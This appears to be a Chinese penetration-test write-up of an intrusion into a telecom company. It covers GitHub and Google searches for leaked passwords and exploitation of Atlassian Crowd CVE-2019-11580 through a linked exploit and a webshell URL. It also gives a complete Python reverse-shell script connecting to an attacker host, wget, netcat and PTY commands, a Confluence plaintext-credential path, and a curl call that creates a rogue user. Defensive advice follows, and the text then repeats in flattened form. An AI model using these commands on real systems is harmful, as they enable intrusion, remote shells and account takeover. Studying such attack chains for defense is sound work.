针对某国际信息通信公司从前期探测到内网提权的一次成功漏洞测试
字数 1496 2025-08-15 21:30:26

高级渗透测试实战:从信息收集到内网提权

1. 信息收集阶段

1.1 Github信息收集

核心搜索语法

password "*.target.com"
target.com "password_value_here"

替代关键词

  • telnet、ftp、ssh、mysql、jdbc、oracle等特定服务关键字
  • dashboard、cms等管理界面相关词

进阶技巧

  1. 针对特定代码库和开发者进行深度搜索
  2. 追踪开发者的协作关系网络
  3. 分析密码模式,寻找默认密码规律

1.2 Google Dorking技术

基础语法

site:*.subx.target.tld AND intext:'password_pattern'

扩展搜索

  • 结合已知IP地址、产品应用(Oracle/MySQL/MSSQL)
  • 服务名称(FTP/SSH/DB)
  • 登录相关字段(password/pwd/pass/username/userid)

2. 漏洞发现与利用

2.1 Atlassian Crowd RCE漏洞(CVE-2019-11580)

漏洞验证方法
访问/admin/uploadplugin.action路径,若返回"HTTP Status 400 – Requires POST"则存在漏洞

利用步骤

  1. 下载漏洞利用代码:https://github.com/jas502n/CVE-2019-11580
  2. 执行攻击获取webshell:http://xx.xx.xx.xx/crowd/plugins/servlet/exp?cmd=command_here
  3. 获取root权限的交互式shell

2.2 反弹Shell建立

Python反弹脚本(reverse.py)

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("attacker_ip",attacker_port))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

执行流程

  1. 目标系统下载脚本:wget http://attacker_ip/reverse.py -O /tmp/reverse.py
  2. 修改权限:chmod 700 /tmp/reverse.py
  3. 攻击者设置监听:nc -lvp attacker_port
  4. 目标系统执行脚本:python /tmp/reverse.py
  5. 升级为伪终端:python -c 'import pty;pty.spawn("/bin/bash")'

3. 内网横向移动

3.1 数据库凭证获取

Atlassian Confluence凭证位置
<confluence_home>/confluence.cfg.xml文件中存储明文密码

3.2 账户创建技术

通过REST API创建新用户

curl -i -X POST http://subdomain.target.com/crowd/rest/usermanagement/latest/user?username=new_user \
-H 'Content-type: application/json' \
-H 'Accept: application/json' \
-u admin_user:admin_password \
-d '{
  "email": "user@example.com",
  "name": "new_user",
  "password": {
    "value": "new_password"
  }
}'

4. 安全建议与防御措施

  1. 代码管理安全

    • 实施严格的代码审查流程
    • 使用.gitignore排除敏感文件
    • 定期扫描Github等平台上的敏感信息泄露
  2. 漏洞管理

    • 及时更新老旧系统(如案例中的Atlassian Crowd 2017版)
    • 实施补丁管理策略
    • 禁用不必要的管理功能(如插件上传)
  3. 凭证安全

    • 避免在配置文件中存储明文密码
    • 实施密码轮换策略
    • 使用密钥管理系统
  4. 网络隔离

    • 严格分离内外网系统
    • 实施网络访问控制
    • 监控异常网络连接

5. 渗透测试方法论

  1. 信息收集为王:投入足够时间进行全面的信息收集
  2. 线索关联分析:将分散的信息点关联起来形成攻击路径
  3. 权限维持:建立稳定的访问通道后再进行横向移动
  4. 最小影响原则:在授权范围内操作,避免造成实际损害

6. 工具清单

  • 信息收集:Github搜索、Google Dorking、Aquatone
  • 漏洞利用:CVE-2019-11580漏洞利用代码
  • 后渗透:Netcat、Python反弹脚本
  • 网络探测:netstat、ping等基础命令

通过本案例展示的完整渗透测试流程,安全人员可以深入了解从外部信息收集到内网提权的完整攻击链,从而更好地构建防御体系。

高级渗透测试实战:从信息收集到内网提权 1. 信息收集阶段 1.1 Github信息收集 核心搜索语法 : 替代关键词 : telnet、ftp、ssh、mysql、jdbc、oracle等特定服务关键字 dashboard、cms等管理界面相关词 进阶技巧 : 针对特定代码库和开发者进行深度搜索 追踪开发者的协作关系网络 分析密码模式,寻找默认密码规律 1.2 Google Dorking技术 基础语法 : 扩展搜索 : 结合已知IP地址、产品应用(Oracle/MySQL/MSSQL) 服务名称(FTP/SSH/DB) 登录相关字段(password/pwd/pass/username/userid) 2. 漏洞发现与利用 2.1 Atlassian Crowd RCE漏洞(CVE-2019-11580) 漏洞验证方法 : 访问 /admin/uploadplugin.action 路径,若返回"HTTP Status 400 – Requires POST"则存在漏洞 利用步骤 : 下载漏洞利用代码: https://github.com/jas502n/CVE-2019-11580 执行攻击获取webshell: http://xx.xx.xx.xx/crowd/plugins/servlet/exp?cmd=command_here 获取root权限的交互式shell 2.2 反弹Shell建立 Python反弹脚本(reverse.py) : 执行流程 : 目标系统下载脚本: wget http://attacker_ip/reverse.py -O /tmp/reverse.py 修改权限: chmod 700 /tmp/reverse.py 攻击者设置监听: nc -lvp attacker_port 目标系统执行脚本: python /tmp/reverse.py 升级为伪终端: python -c 'import pty;pty.spawn("/bin/bash")' 3. 内网横向移动 3.1 数据库凭证获取 Atlassian Confluence凭证位置 : <confluence_home>/confluence.cfg.xml 文件中存储明文密码 3.2 账户创建技术 通过REST API创建新用户 : 4. 安全建议与防御措施 代码管理安全 : 实施严格的代码审查流程 使用.gitignore排除敏感文件 定期扫描Github等平台上的敏感信息泄露 漏洞管理 : 及时更新老旧系统(如案例中的Atlassian Crowd 2017版) 实施补丁管理策略 禁用不必要的管理功能(如插件上传) 凭证安全 : 避免在配置文件中存储明文密码 实施密码轮换策略 使用密钥管理系统 网络隔离 : 严格分离内外网系统 实施网络访问控制 监控异常网络连接 5. 渗透测试方法论 信息收集为王 :投入足够时间进行全面的信息收集 线索关联分析 :将分散的信息点关联起来形成攻击路径 权限维持 :建立稳定的访问通道后再进行横向移动 最小影响原则 :在授权范围内操作,避免造成实际损害 6. 工具清单 信息收集 :Github搜索、Google Dorking、Aquatone 漏洞利用 :CVE-2019-11580漏洞利用代码 后渗透 :Netcat、Python反弹脚本 网络探测 :netstat、ping等基础命令 通过本案例展示的完整渗透测试流程,安全人员可以深入了解从外部信息收集到内网提权的完整攻击链,从而更好地构建防御体系。